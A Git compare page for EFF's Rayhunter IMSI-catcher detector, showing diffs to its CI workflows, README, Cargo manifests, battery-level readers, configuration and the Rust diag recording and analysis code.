Compare commits

..

1 Commits

Author SHA1 Message Date
Sashanoraa c2226071d2 Dynamically determine frame buffer dimensions and format
This commit also refactors a majority of the device specific frame
buffer code into common code into generic_framebuffer.
2025-07-30 22:46:26 -04:00
102 changed files with 1303 additions and 3899 deletions
-9
View File
@@ -1,9 +0,0 @@
# Files that are distributed onto the Rayhunter device always have to have
# Unix-style line endings, even if the installer is built on Windows with
# autocrlf enabled.
# Using CRLF for the init scripts will make them fail to execute on TP-Link.
# See https://github.com/EFForg/rayhunter/issues/489
dist/config.toml.in eol=lf
dist/scripts/misc-daemon eol=lf
dist/scripts/rayhunter_daemon eol=lf
-47
View File
@@ -1,47 +0,0 @@
name: Installer Issue
description: File an bug related to an installer issue.
labels: ["bug", "installer"]
body:
- type: input
attributes:
label: Rayhunter Version
placeholder: 'v0.5.0'
validations:
required: true
- type: dropdown
attributes:
label: Device
description: |
What device are you trying to install Rayhunter on?
options:
- Orbic RC400L
- Tplink M7350
- Tplink M7310
- Tmobile TMOHS1
- Wingtech CT2MHS0
- Pinephone
- Other / I'm not sure
validations:
required: true
- type: dropdown
attributes:
label: Installer OS
description: What operating system are running the installer from
multiple: false
options:
- Linux
- macOS
- Windows
validations:
required: true
- type: textarea
attributes:
label: Describe the Issue
description: |
Please describe the issue you're having installing Rayhunter.
Include the logs outputed by the installer program. If the installer
is crashing, please try running the installer with `RUST_BACKTRACE=1`
environment variable set so we can see exactly where the installer is
crashing.
validations:
required: true
+4 -10
View File
@@ -104,7 +104,6 @@ jobs:
contents: read contents: read
steps: steps:
- uses: actions/checkout@v4 - uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: Swatinem/rust-cache@v2 - uses: Swatinem/rust-cache@v2
- name: Check formatting - name: Check formatting
run: cargo fmt --all --check run: cargo fmt --all --check
@@ -182,7 +181,7 @@ jobs:
os: macos-latest os: macos-latest
target: aarch64-apple-darwin target: aarch64-apple-darwin
- name: macos-intel - name: macos-intel
os: macos-latest os: macos-13
target: x86_64-apple-darwin target: x86_64-apple-darwin
- name: windows-x86_64 - name: windows-x86_64
os: windows-latest os: windows-latest
@@ -286,7 +285,7 @@ jobs:
os: macos-latest os: macos-latest
target: aarch64-apple-darwin target: aarch64-apple-darwin
- name: macos-intel - name: macos-intel
os: macos-latest os: macos-13
target: x86_64-apple-darwin target: x86_64-apple-darwin
- name: windows-x86_64 - name: windows-x86_64
os: windows-latest os: windows-latest
@@ -338,13 +337,8 @@ jobs:
platform="${{ matrix.platform }}" platform="${{ matrix.platform }}"
dest="rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}" dest="rayhunter-v${{ env.VERSION }}-${{ matrix.platform }}"
mkdir "$dest" mkdir "$dest"
# Handle installer with proper extension for Windows mv installer-$platform/installer* "$dest"/installer
if [ "$platform" = "windows-x86_64" ]; then cp -r rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
mv installer-$platform/installer.exe "$dest"/installer.exe
else
mv installer-$platform/installer "$dest"/installer
fi
cp -r rayhunter-check-* rayhunter-daemon rootshell/rootshell dist/* installer/install.ps1 "$dest"/
zip -r "$dest.zip" "$dest" zip -r "$dest.zip" "$dest"
sha256sum "$dest.zip" > "$dest.zip.sha256" sha256sum "$dest.zip" > "$dest.zip.sha256"
Generated
+103 -542
View File
File diff suppressed because it is too large Load Diff
+3 -15
View File
@@ -1,19 +1,7 @@
# Rayhunter
![Tests](https://github.com/EFForg/rayhunter/actions/workflows/main.yml/badge.svg)
![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png) ![Rayhunter Logo - An Orca taking a bite out of a cellular signal bar](https://www.eff.org/files/styles/media_browser_preview/public/banner_library/rayhunter-banner.png)
Rayhunter is a project for detecting IMSI catchers, also known as cell-site simulators or stingrays. It was first designed to run on a cheap mobile hotspot called the Orbic RC400L, but thanks to community efforts can [support some other devices as well](https://efforg.github.io/rayhunter/supported-devices.html). # Rayhunter
It's also designed to be as easy to install and use as possible, regardless of your level of technical skills, and to minimize false positives.
→ Check out the [installation guide](https://efforg.github.io/rayhunter/installation.html) to get started. ![Tests](https://github.com/EFForg/rayhunter/actions/workflows/main.yml/badge.svg)
→ To learn more about the aim of the project, and about IMSI catchers in general, please check out our [introductory blog post](https://www.eff.org/deeplinks/2025/03/meet-rayhunter-new-open-source-tool-eff-detect-cellular-spying). Rayhunter is an IMSI Catcher Catcher for the Orbic mobile hotspot. To learn more, check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
→ For discussion, help, or to join the mattermost channel and get involved with the project and community check out the [many ways listed here](https://efforg.github.io/rayhunter/support-feedback-community.html)!
→ To learn more about the project in general check out the [Rayhunter Book](https://efforg.github.io/rayhunter/).
**LEGAL DISCLAIMER:** Use this program at your own risk. We believe running this program does not currently violate any laws or regulations in the United States. However, we are not responsible for civil or criminal liability resulting from the use of this software. If you are located outside of the US please consult with an attorney in your country to help you assess the legal risks of running this program.
*Good Hunting!*
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter-check" name = "rayhunter-check"
version = "0.6.1" version = "0.5.0"
edition = "2024" edition = "2024"
[dependencies] [dependencies]
+2 -2
View File
@@ -65,10 +65,10 @@ impl Report {
EventType::Informational => { EventType::Informational => {
info!("{}: INFO - {} {}", self.file_path, timestamp, event.message,); info!("{}: INFO - {} {}", self.file_path, timestamp, event.message,);
} }
EventType::Low | EventType::Medium | EventType::High => { EventType::QualitativeWarning { severity } => {
warn!( warn!(
"{}: WARNING (Severity: {:?}) - {} {}", "{}: WARNING (Severity: {:?}) - {} {}",
self.file_path, event.event_type, timestamp, event.message, self.file_path, severity, timestamp, event.message,
); );
self.warnings += 1; self.warnings += 1;
} }
+2 -7
View File
@@ -1,8 +1,7 @@
[package] [package]
name = "rayhunter-daemon" name = "rayhunter-daemon"
version = "0.6.1" version = "0.5.0"
edition = "2024" edition = "2024"
rust-version = "1.88.0"
[dependencies] [dependencies]
rayhunter = { path = "../lib" } rayhunter = { path = "../lib" }
@@ -18,15 +17,11 @@ tokio-util = { version = "0.7.10", features = ["rt", "io", "compat"] }
futures-macro = "0.3.30" futures-macro = "0.3.30"
include_dir = "0.7.3" include_dir = "0.7.3"
chrono = { version = "0.4.31", features = ["serde"] } chrono = { version = "0.4.31", features = ["serde"] }
tokio-stream = { version = "0.1.14", default-features = false, features = ["io-util"] } tokio-stream = { version = "0.1.14", default-features = false }
futures = { version = "0.3.30", default-features = false } futures = { version = "0.3.30", default-features = false }
serde_json = "1.0.114" serde_json = "1.0.114"
image = { version = "0.25.1", default-features = false, features = ["png", "gif"] } image = { version = "0.25.1", default-features = false, features = ["png", "gif"] }
tempfile = "3.10.1" tempfile = "3.10.1"
async_zip = { version = "0.0.17", features = ["tokio"] } async_zip = { version = "0.0.17", features = ["tokio"] }
anyhow = "1.0.98" anyhow = "1.0.98"
reqwest = { version = "0.12.20", default-features = false, features = [
"rustls-tls-webpki-roots-no-provider",
] }
rustls-rustcrypto = "0.0.2-alpha"
async-trait = "0.1.88" async-trait = "0.1.88"
+6 -10
View File
@@ -1,5 +1,5 @@
use std::sync::Arc; use std::sync::Arc;
use std::{cmp, future, pin}; use std::{future, pin};
use axum::Json; use axum::Json;
use axum::{ use axum::{
@@ -8,7 +8,7 @@ use axum::{
}; };
use futures::TryStreamExt; use futures::TryStreamExt;
use log::{error, info}; use log::{error, info};
use rayhunter::analysis::analyzer::{AnalyzerConfig, EventType, Harness}; use rayhunter::analysis::analyzer::{AnalyzerConfig, Harness};
use rayhunter::diag::{DataType, MessagesContainer}; use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::qmdl::QmdlReader; use rayhunter::qmdl::QmdlReader;
use serde::Serialize; use serde::Serialize;
@@ -47,19 +47,15 @@ impl AnalysisWriter {
// Runs the analysis harness on the given container, serializing the results // Runs the analysis harness on the given container, serializing the results
// to the analysis file, returning the whether any warnings were detected // to the analysis file, returning the whether any warnings were detected
pub async fn analyze( pub async fn analyze(&mut self, container: MessagesContainer) -> Result<bool, std::io::Error> {
&mut self, let mut warning_detected = false;
container: MessagesContainer,
) -> Result<EventType, std::io::Error> {
let mut max_type = EventType::Informational;
for row in self.harness.analyze_qmdl_messages(container) { for row in self.harness.analyze_qmdl_messages(container) {
if !row.is_empty() { if !row.is_empty() {
self.write(&row).await?; self.write(&row).await?;
} }
max_type = cmp::max(max_type, row.get_max_event_type()); warning_detected |= row.contains_warnings();
} }
Ok(max_type) Ok(warning_detected)
} }
async fn write<T: Serialize>(&mut self, value: &T) -> Result<(), std::io::Error> { async fn write<T: Serialize>(&mut self, value: &T) -> Result<(), std::io::Error> {
-47
View File
@@ -1,47 +0,0 @@
use std::path::Path;
use rayhunter::Device;
use serde::Serialize;
use crate::error::RayhunterError;
pub mod orbic;
pub mod tmobile;
pub mod wingtech;
#[derive(Clone, Copy, PartialEq, Debug, Serialize)]
pub struct BatteryState {
level: u8,
is_plugged_in: bool,
}
async fn is_plugged_in_from_file(path: &Path) -> Result<bool, RayhunterError> {
match tokio::fs::read_to_string(path)
.await
.map_err(RayhunterError::TokioError)?
.chars()
.next()
{
Some('0') => Ok(false),
Some('1') => Ok(true),
_ => Err(RayhunterError::BatteryPluggedInStatusParseError),
}
}
async fn get_level_from_percentage_file(path: &Path) -> Result<u8, RayhunterError> {
tokio::fs::read_to_string(path)
.await
.map_err(RayhunterError::TokioError)?
.trim_end()
.parse()
.or(Err(RayhunterError::BatteryLevelParseError))
}
pub async fn get_battery_status(device: &Device) -> Result<BatteryState, RayhunterError> {
Ok(match device {
Device::Orbic => orbic::get_battery_state().await?,
Device::Wingtech => wingtech::get_battery_state().await?,
Device::Tmobile => tmobile::get_battery_state().await?,
_ => return Err(RayhunterError::FunctionNotSupportedForDeviceError),
})
}
-28
View File
@@ -1,28 +0,0 @@
use std::path::Path;
use crate::{
battery::{BatteryState, is_plugged_in_from_file},
error::RayhunterError,
};
const BATTERY_LEVEL_FILE: &str = "/sys/kernel/chg_info/level";
const PLUGGED_IN_STATE_FILE: &str = "/sys/kernel/chg_info/chg_en";
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
Ok(BatteryState {
level: match tokio::fs::read_to_string(&BATTERY_LEVEL_FILE)
.await
.map_err(RayhunterError::TokioError)?
.chars()
.next()
{
Some('1') => Ok(10),
Some('2') => Ok(25),
Some('3') => Ok(50),
Some('4') => Ok(75),
Some('5') => Ok(100),
_ => Err(RayhunterError::BatteryLevelParseError),
}?,
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
})
}
-16
View File
@@ -1,16 +0,0 @@
use std::path::Path;
use crate::{
battery::{BatteryState, get_level_from_percentage_file, is_plugged_in_from_file},
error::RayhunterError,
};
const BATTERY_LEVEL_FILE: &str = "/sys/class/power_supply/bms/capacity";
const PLUGGED_IN_STATE_FILE: &str = "/sys/devices/78d9000.usb/power_supply/usb/online";
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
Ok(BatteryState {
level: get_level_from_percentage_file(Path::new(BATTERY_LEVEL_FILE)).await?,
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
})
}
-17
View File
@@ -1,17 +0,0 @@
use std::path::Path;
use crate::{
battery::{BatteryState, get_level_from_percentage_file, is_plugged_in_from_file},
error::RayhunterError,
};
const BATTERY_LEVEL_FILE: &str =
"/sys/devices/78b7000.i2c/i2c-3/3-0063/power_supply/cw2017-bat/capacity";
const PLUGGED_IN_STATE_FILE: &str = "/sys/devices/8a00000.ssusb/power_supply/usb/online";
pub async fn get_battery_state() -> Result<BatteryState, RayhunterError> {
Ok(BatteryState {
level: get_level_from_percentage_file(Path::new(BATTERY_LEVEL_FILE)).await?,
is_plugged_in: is_plugged_in_from_file(Path::new(PLUGGED_IN_STATE_FILE)).await?,
})
}
-2
View File
@@ -16,7 +16,6 @@ pub struct Config {
pub ui_level: u8, pub ui_level: u8,
pub colorblind_mode: bool, pub colorblind_mode: bool,
pub key_input_mode: u8, pub key_input_mode: u8,
pub ntfy_url: Option<String>,
pub analyzers: AnalyzerConfig, pub analyzers: AnalyzerConfig,
} }
@@ -31,7 +30,6 @@ impl Default for Config {
colorblind_mode: false, colorblind_mode: false,
key_input_mode: 0, key_input_mode: 0,
analyzers: AnalyzerConfig::default(), analyzers: AnalyzerConfig::default(),
ntfy_url: None,
} }
} }
} }
+131 -283
View File
@@ -1,296 +1,143 @@
use std::ops::DerefMut;
use std::pin::pin; use std::pin::pin;
use std::sync::Arc; use std::sync::Arc;
use std::time::Duration;
use axum::body::Body; use axum::body::Body;
use axum::extract::{Path, State}; use axum::extract::{Path, State};
use axum::http::StatusCode; use axum::http::StatusCode;
use axum::http::header::CONTENT_TYPE; use axum::http::header::CONTENT_TYPE;
use axum::response::{IntoResponse, Response}; use axum::response::{IntoResponse, Response};
use futures::{StreamExt, TryStreamExt, future}; use futures::{StreamExt, TryStreamExt};
use log::{debug, error, info, warn}; use log::{debug, error, info, warn};
use tokio::fs::File; use rayhunter::analysis::analyzer::AnalyzerConfig;
use tokio::io::{AsyncBufReadExt, BufReader}; use rayhunter::diag::DataType;
use tokio::sync::mpsc::{Receiver, Sender};
use tokio::sync::{RwLock, oneshot};
use tokio_stream::wrappers::LinesStream;
use tokio_util::task::TaskTracker;
use rayhunter::analysis::analyzer::{AnalysisLineNormalizer, AnalyzerConfig, EventType};
use rayhunter::diag::{DataType, MessagesContainer};
use rayhunter::diag_device::DiagDevice; use rayhunter::diag_device::DiagDevice;
use rayhunter::qmdl::QmdlWriter; use rayhunter::qmdl::QmdlWriter;
use tokio::fs::File;
use tokio::sync::RwLock;
use tokio::sync::mpsc::{Receiver, Sender};
use tokio_util::io::ReaderStream;
use tokio_util::task::TaskTracker;
use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter}; use crate::analysis::{AnalysisCtrlMessage, AnalysisWriter};
use crate::display; use crate::display;
use crate::notifications::Notification; use crate::qmdl_store::{EntryType, RecordingStore, RecordingStoreError};
use crate::qmdl_store::{RecordingStore, RecordingStoreError};
use crate::server::ServerState; use crate::server::ServerState;
pub enum DiagDeviceCtrlMessage { pub enum DiagDeviceCtrlMessage {
StopRecording, StopRecording,
StartRecording, StartRecording,
DeleteEntry {
name: String,
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
},
DeleteAllEntries {
response_tx: oneshot::Sender<Result<(), RecordingStoreError>>,
},
Exit, Exit,
} }
pub struct DiagTask {
ui_update_sender: Sender<display::DisplayState>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
state: DiagState,
max_type_seen: EventType,
}
enum DiagState {
Recording {
qmdl_writer: QmdlWriter<File>,
analysis_writer: Box<AnalysisWriter>,
},
Stopped,
}
impl DiagTask {
fn new(
ui_update_sender: Sender<display::DisplayState>,
analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
) -> Self {
Self {
ui_update_sender,
analysis_sender,
analyzer_config,
notification_channel,
state: DiagState::Stopped,
max_type_seen: EventType::Informational,
}
}
/// Start recording
async fn start(&mut self, qmdl_store: &mut RecordingStore) {
let (qmdl_file, analysis_file) = qmdl_store
.new_entry()
.await
.expect("failed creating QMDL file entry");
self.stop_current_recording().await;
let qmdl_writer = QmdlWriter::new(qmdl_file);
let analysis_writer = AnalysisWriter::new(analysis_file, &self.analyzer_config)
.await
.map(Box::new)
.expect("failed to write to analysis file");
self.state = DiagState::Recording {
qmdl_writer,
analysis_writer,
};
if let Err(e) = self
.ui_update_sender
.send(display::DisplayState::Recording)
.await
{
warn!("couldn't send ui update message: {e}");
}
}
/// Stop recording
async fn stop(&mut self, qmdl_store: &mut RecordingStore) {
self.stop_current_recording().await;
if let Some((_, entry)) = qmdl_store.get_current_entry()
&& let Err(e) = self
.analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await
{
warn!("couldn't send analysis message: {e}");
}
if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {e}");
}
if let Err(e) = self
.ui_update_sender
.send(display::DisplayState::Paused)
.await
{
warn!("couldn't send ui update message: {e}");
}
}
async fn delete_entry(
&mut self,
qmdl_store: &mut RecordingStore,
name: &str,
) -> Result<(), RecordingStoreError> {
if qmdl_store.is_current_entry(name) {
self.stop(qmdl_store).await;
}
let res = qmdl_store.delete_entry(name).await;
if let Err(e) = res.as_ref() {
error!("Error deleting QMDL entry {e}");
}
res
}
async fn delete_all_entries(
&mut self,
qmdl_store: &mut RecordingStore,
) -> Result<(), RecordingStoreError> {
self.stop(qmdl_store).await;
let res = qmdl_store.delete_all_entries().await;
if let Err(e) = res.as_ref() {
error!("Error deleting QMDL entries {e}");
}
res
}
async fn stop_current_recording(&mut self) {
let mut state = DiagState::Stopped;
std::mem::swap(&mut self.state, &mut state);
if let DiagState::Recording {
analysis_writer, ..
} = state
{
analysis_writer
.close()
.await
.expect("failed to close analysis writer");
}
}
async fn process_container(
&mut self,
qmdl_store: &mut RecordingStore,
container: MessagesContainer,
) {
if container.data_type != DataType::UserSpace {
debug!("skipping non-userspace diag messages...");
return;
}
// keep track of how many bytes were written to the QMDL file so we can read
// a valid block of data from it in the HTTP server
if let DiagState::Recording {
qmdl_writer,
analysis_writer,
} = &mut self.state
{
qmdl_writer
.write_container(&container)
.await
.expect("failed to write to QMDL writer");
debug!(
"total QMDL bytes written: {}, updating manifest...",
qmdl_writer.total_written
);
let index = qmdl_store
.current_entry
.expect("DiagDevice had qmdl_writer, but QmdlStore didn't have current entry???");
qmdl_store
.update_entry_qmdl_size(index, qmdl_writer.total_written)
.await
.expect("failed to update qmdl file size");
debug!("done!");
let max_type = analysis_writer
.analyze(container)
.await
.expect("failed to analyze container");
if max_type > EventType::Informational {
info!("a heuristic triggered on this run!");
self.notification_channel
.send(Notification::new(
"heuristic-warning".to_string(),
format!("Rayhunter has detected a {:?} severity event", max_type),
Some(Duration::from_secs(60 * 5)),
))
.await
.expect("Failed to send to notification channel");
}
if max_type > self.max_type_seen {
self.max_type_seen = max_type;
if self.max_type_seen > EventType::Informational {
self.ui_update_sender
.send(display::DisplayState::WarningDetected {
event_type: self.max_type_seen,
})
.await
.expect("couldn't send ui update message: {}");
}
}
} else {
debug!("no qmdl_writer set, continuing...");
}
}
}
#[allow(clippy::too_many_arguments)] #[allow(clippy::too_many_arguments)]
pub fn run_diag_read_thread( pub fn run_diag_read_thread(
task_tracker: &TaskTracker, task_tracker: &TaskTracker,
mut dev: DiagDevice, mut dev: DiagDevice,
mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>, mut qmdl_file_rx: Receiver<DiagDeviceCtrlMessage>,
qmdl_file_tx: Sender<DiagDeviceCtrlMessage>,
ui_update_sender: Sender<display::DisplayState>, ui_update_sender: Sender<display::DisplayState>,
qmdl_store_lock: Arc<RwLock<RecordingStore>>, qmdl_store_lock: Arc<RwLock<RecordingStore>>,
analysis_sender: Sender<AnalysisCtrlMessage>, analysis_sender: Sender<AnalysisCtrlMessage>,
analyzer_config: AnalyzerConfig, analyzer_config: AnalyzerConfig,
notification_channel: tokio::sync::mpsc::Sender<Notification>,
) { ) {
task_tracker.spawn(async move { task_tracker.spawn(async move {
let (initial_qmdl_file, initial_analysis_file) = qmdl_store_lock.write().await.new_entry().await.expect("failed creating QMDL file entry");
let mut maybe_qmdl_writer: Option<QmdlWriter<File>> = Some(QmdlWriter::new(initial_qmdl_file));
let mut diag_stream = pin!(dev.as_stream().into_stream()); let mut diag_stream = pin!(dev.as_stream().into_stream());
let mut diag_task = DiagTask::new(ui_update_sender, analysis_sender, analyzer_config, notification_channel); let mut maybe_analysis_writer = Some(AnalysisWriter::new(initial_analysis_file, &analyzer_config).await
qmdl_file_tx .expect("failed to create analysis writer"));
.send(DiagDeviceCtrlMessage::StartRecording)
.await
.unwrap();
loop { loop {
tokio::select! { tokio::select! {
msg = qmdl_file_rx.recv() => { msg = qmdl_file_rx.recv() => {
match msg { match msg {
Some(DiagDeviceCtrlMessage::StartRecording) => { Some(DiagDeviceCtrlMessage::StartRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await; let mut qmdl_store = qmdl_store_lock.write().await;
diag_task.start(qmdl_store.deref_mut()).await; let (qmdl_file, new_analysis_file) = match qmdl_store.new_entry().await {
Ok(x) => x,
Err(e) => {
error!("couldn't create new qmdl entry: {e}");
continue;
}
};
maybe_qmdl_writer = Some(QmdlWriter::new(qmdl_file));
if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
maybe_analysis_writer = Some(AnalysisWriter::new(new_analysis_file, &analyzer_config).await
.expect("failed to write to analysis file"));
if let Err(e) = ui_update_sender.send(display::DisplayState::Recording).await {
warn!("couldn't send ui update message: {e}");
}
}, },
Some(DiagDeviceCtrlMessage::StopRecording) => { Some(DiagDeviceCtrlMessage::StopRecording) => {
let mut qmdl_store = qmdl_store_lock.write().await; let mut qmdl_store = qmdl_store_lock.write().await;
diag_task.stop(qmdl_store.deref_mut()).await; if let Some((_, entry)) = qmdl_store.get_current_entry() {
if let Err(e) = analysis_sender
.send(AnalysisCtrlMessage::RecordingFinished(
entry.name.to_string(),
))
.await {
warn!("couldn't send analysis message: {e}");
}
}
if let Err(e) = qmdl_store.close_current_entry().await {
error!("couldn't close current entry: {e}");
}
maybe_qmdl_writer = None;
if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
maybe_analysis_writer = None;
if let Err(e) = ui_update_sender.send(display::DisplayState::Paused).await {
warn!("couldn't send ui update message: {e}");
}
}, },
// None means all the Senders have been dropped, so it's // None means all the Senders have been dropped, so it's
// time to go // time to go
Some(DiagDeviceCtrlMessage::Exit) | None => { Some(DiagDeviceCtrlMessage::Exit) | None => {
info!("Diag reader thread exiting..."); info!("Diag reader thread exiting...");
diag_task.stop_current_recording().await; if let Some(analysis_writer) = maybe_analysis_writer {
analysis_writer.close().await.expect("failed to close analysis writer");
}
return Ok(()) return Ok(())
}, },
Some(DiagDeviceCtrlMessage::DeleteEntry { name, response_tx }) => {
let mut qmdl_store = qmdl_store_lock.write().await;
let resp = diag_task.delete_entry(qmdl_store.deref_mut(), name.as_str()).await;
if response_tx.send(resp).is_err() {
error!("Failed to send delete entry respons, receiver dropped");
}
},
Some(DiagDeviceCtrlMessage::DeleteAllEntries { response_tx }) => {
let mut qmdl_store = qmdl_store_lock.write().await;
let resp = diag_task.delete_all_entries(qmdl_store.deref_mut()).await;
if response_tx.send(resp).is_err() {
error!("Failed to send delete all entries respons, receiver dropped");
}
},
} }
} }
maybe_container = diag_stream.next() => { maybe_container = diag_stream.next() => {
match maybe_container.unwrap() { match maybe_container.unwrap() {
Ok(container) => { Ok(container) => {
let mut qmdl_store = qmdl_store_lock.write().await; if container.data_type != DataType::UserSpace {
diag_task.process_container(qmdl_store.deref_mut(), container).await debug!("skipping non-userspace diag messages...");
continue;
}
// keep track of how many bytes were written to the QMDL file so we can read
// a valid block of data from it in the HTTP server
if let Some(qmdl_writer) = maybe_qmdl_writer.as_mut() {
qmdl_writer.write_container(&container).await.expect("failed to write to QMDL writer");
debug!("total QMDL bytes written: {}, updating manifest...", qmdl_writer.total_written);
let mut qmdl_store = qmdl_store_lock.write().await;
let index = qmdl_store.current_entry.expect("DiagDevice had qmdl_writer, but QmdlStore didn't have current entry???");
qmdl_store.update_entry_qmdl_size(index, qmdl_writer.total_written).await
.expect("failed to update qmdl file size");
debug!("done!");
} else {
debug!("no qmdl_writer set, continuing...");
}
if let Some(analysis_writer) = maybe_analysis_writer.as_mut() {
let heuristic_warning = analysis_writer.analyze(container).await
.expect("failed to analyze container");
if heuristic_warning {
info!("a heuristic triggered on this run!");
ui_update_sender.send(display::DisplayState::WarningDetected).await
.expect("couldn't send ui update message: {}");
}
}
}, },
Err(err) => { Err(err) => {
error!("error reading diag device: {err}"); error!("error reading diag device: {err}");
@@ -303,7 +150,6 @@ pub fn run_diag_read_thread(
}); });
} }
/// Start recording API for web thread
pub async fn start_recording( pub async fn start_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -325,7 +171,6 @@ pub async fn start_recording(
Ok((StatusCode::ACCEPTED, "ok".to_string())) Ok((StatusCode::ACCEPTED, "ok".to_string()))
} }
/// Stop recording API for web thread
pub async fn stop_recording( pub async fn stop_recording(
State(state): State<Arc<ServerState>>, State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> { ) -> Result<(StatusCode, String), (StatusCode, String)> {
@@ -352,27 +197,8 @@ pub async fn delete_recording(
if state.config.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let (response_tx, response_rx) = oneshot::channel(); let mut qmdl_store = state.qmdl_store_lock.write().await;
state match qmdl_store.delete_entry(&qmdl_name).await {
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::DeleteEntry {
name: qmdl_name.clone(),
response_tx,
})
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send delete entry message: {e}"),
)
})?;
match response_rx.await.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to receive delete response: {e}"),
)
})? {
Ok(_) => Ok((StatusCode::ACCEPTED, "ok".to_string())),
Err(RecordingStoreError::NoSuchEntryError) => Err(( Err(RecordingStoreError::NoSuchEntryError) => Err((
StatusCode::BAD_REQUEST, StatusCode::BAD_REQUEST,
format!("no recording with name {qmdl_name}"), format!("no recording with name {qmdl_name}"),
@@ -381,6 +207,31 @@ pub async fn delete_recording(
StatusCode::INTERNAL_SERVER_ERROR, StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't delete recording: {e}"), format!("couldn't delete recording: {e}"),
)), )),
Ok(entry_type) => {
if entry_type == EntryType::Current {
state
.diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::StopRecording)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send stop recording message: {e}"),
)
})?;
state
.ui_update_sender
.send(display::DisplayState::Paused)
.await
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {e}"),
)
})?;
}
Ok((StatusCode::ACCEPTED, "ok".to_string()))
}
} }
} }
@@ -390,29 +241,34 @@ pub async fn delete_all_recordings(
if state.config.debug_mode { if state.config.debug_mode {
return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string())); return Err((StatusCode::FORBIDDEN, "server is in debug mode".to_string()));
} }
let (response_tx, response_rx) = oneshot::channel();
state state
.diag_device_ctrl_sender .diag_device_ctrl_sender
.send(DiagDeviceCtrlMessage::DeleteAllEntries { response_tx }) .send(DiagDeviceCtrlMessage::StopRecording)
.await .await
.map_err(|e| { .map_err(|e| {
( (
StatusCode::INTERNAL_SERVER_ERROR, StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send delete all entries message: {e}"), format!("couldn't send stop recording message: {e}"),
) )
})?; })?;
match response_rx.await.map_err(|e| { let mut qmdl_store = state.qmdl_store_lock.write().await;
qmdl_store.delete_all_entries().await.map_err(|e| {
( (
StatusCode::INTERNAL_SERVER_ERROR, StatusCode::INTERNAL_SERVER_ERROR,
format!("failed to receive delete all response: {e}"), format!("couldn't delete all recordings: {e}"),
) )
})? { })?;
Ok(_) => Ok((StatusCode::ACCEPTED, "ok".to_string())), state
Err(e) => Err(( .ui_update_sender
StatusCode::INTERNAL_SERVER_ERROR, .send(display::DisplayState::Paused)
format!("couldn't delete recordings: {e}"), .await
)), .map_err(|e| {
} (
StatusCode::INTERNAL_SERVER_ERROR,
format!("couldn't send ui update message: {e}"),
)
})?;
Ok((StatusCode::ACCEPTED, "ok".to_string()))
} }
pub async fn get_analysis_report( pub async fn get_analysis_report(
@@ -435,17 +291,9 @@ pub async fn get_analysis_report(
.open_entry_analysis(entry_index) .open_entry_analysis(entry_index)
.await .await
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?; .map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, format!("{e:?}")))?;
let analysis_stream = ReaderStream::new(analysis_file);
// Read and normalize the NDJSON file
let reader = BufReader::new(analysis_file);
let lines_stream = LinesStream::new(reader.lines());
let mut normalizer = AnalysisLineNormalizer::new();
let normalized_stream = lines_stream
.try_filter(|line| future::ready(!line.is_empty()))
.map_ok(move |line| normalizer.normalize_line(line));
let headers = [(CONTENT_TYPE, "application/x-ndjson")]; let headers = [(CONTENT_TYPE, "application/x-ndjson")];
let body = Body::from_stream(normalized_stream); let body = Body::from_stream(analysis_stream);
Ok((headers, body).into_response()) Ok((headers, body).into_response())
} }
+316 -53
View File
@@ -1,11 +1,14 @@
use async_trait::async_trait; use async_trait::async_trait;
use fb_utils::{determine_format, get_var_screeninfo};
use image::{AnimationDecoder, DynamicImage, codecs::gif::GifDecoder, imageops::FilterType}; use image::{AnimationDecoder, DynamicImage, codecs::gif::GifDecoder, imageops::FilterType};
use std::io::Cursor; use std::io::Cursor;
use std::os::fd::{AsFd, BorrowedFd};
use std::time::Duration; use std::time::Duration;
use tokio::fs::File;
use tokio::io::{AsyncSeekExt, AsyncWriteExt};
use crate::config; use crate::config;
